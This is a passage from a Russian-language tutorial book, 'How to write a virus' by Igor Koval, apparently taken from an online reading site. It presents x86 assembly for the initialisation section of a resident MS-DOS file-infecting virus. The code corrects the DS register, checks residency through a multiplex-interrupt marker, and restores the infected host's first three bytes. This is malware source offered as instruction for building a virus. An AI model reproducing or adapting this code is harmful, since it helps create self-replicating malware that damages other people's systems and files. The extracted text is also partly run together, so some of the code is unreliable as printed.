"Игорь Коваль. Как написать вирус" - читать интересную книгу автора ализации нашей программы .Поскольку эта секция ис-
полняется при запуске зараженного файла, выполним коррекцию регистра DS ( см. гл. 1, 1.6 ) : push_len equ $-vir - 2 mov ax,ds ;Корректируем DS ;для нерезидент- ;ной работы ... db 05h ;Код команды add_to_ds: dw 0 ;" ADD AX,00h " mov ds,ax Константа " push_len " содержит смещение от начала вируса до начала секции инициализации . Именно это число записывается за меткой " vir " (см. п. 2.5). Далее следует проверить наличие вируса в памяти (см. п. 2.3), поэтому : mov ax,0f000h ;Проверим, есть mov bx,1997h ;вирус в памяти, int 2fh ;или еще нет ... jc fresh_bytes cmp al,0ffh ;устанавливаем Для проверки используется так называемое мульти- плексное прерывание MS DOS, специально предназна- ченное для использования в резидентных программах. В регистрах AX и BX мы поместим код, на который реагирует вирусный обработчик этого прерывания, и выполним команду " INT 2Fh " .Если вирус был уста- новлен в памяти,его обработчик проанализирует зна- чения AX и BX .И если они равны " 0f000h " и " 19- 97h ", вернет в AL число 0ffh, которое и рассчиты- вает получить секция инициализации . Если вирусный код уже инсталлирован, необходимо: восстановить в памяти компьютера исходные три бай- та зараженной программы (см. п. 2.3) : fresh_bytes: ;Восстанавливаем mov al,old_bytes ;первые три бай- ;та зараженной mov cs:[100h],al ;программы ... mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al |
|
|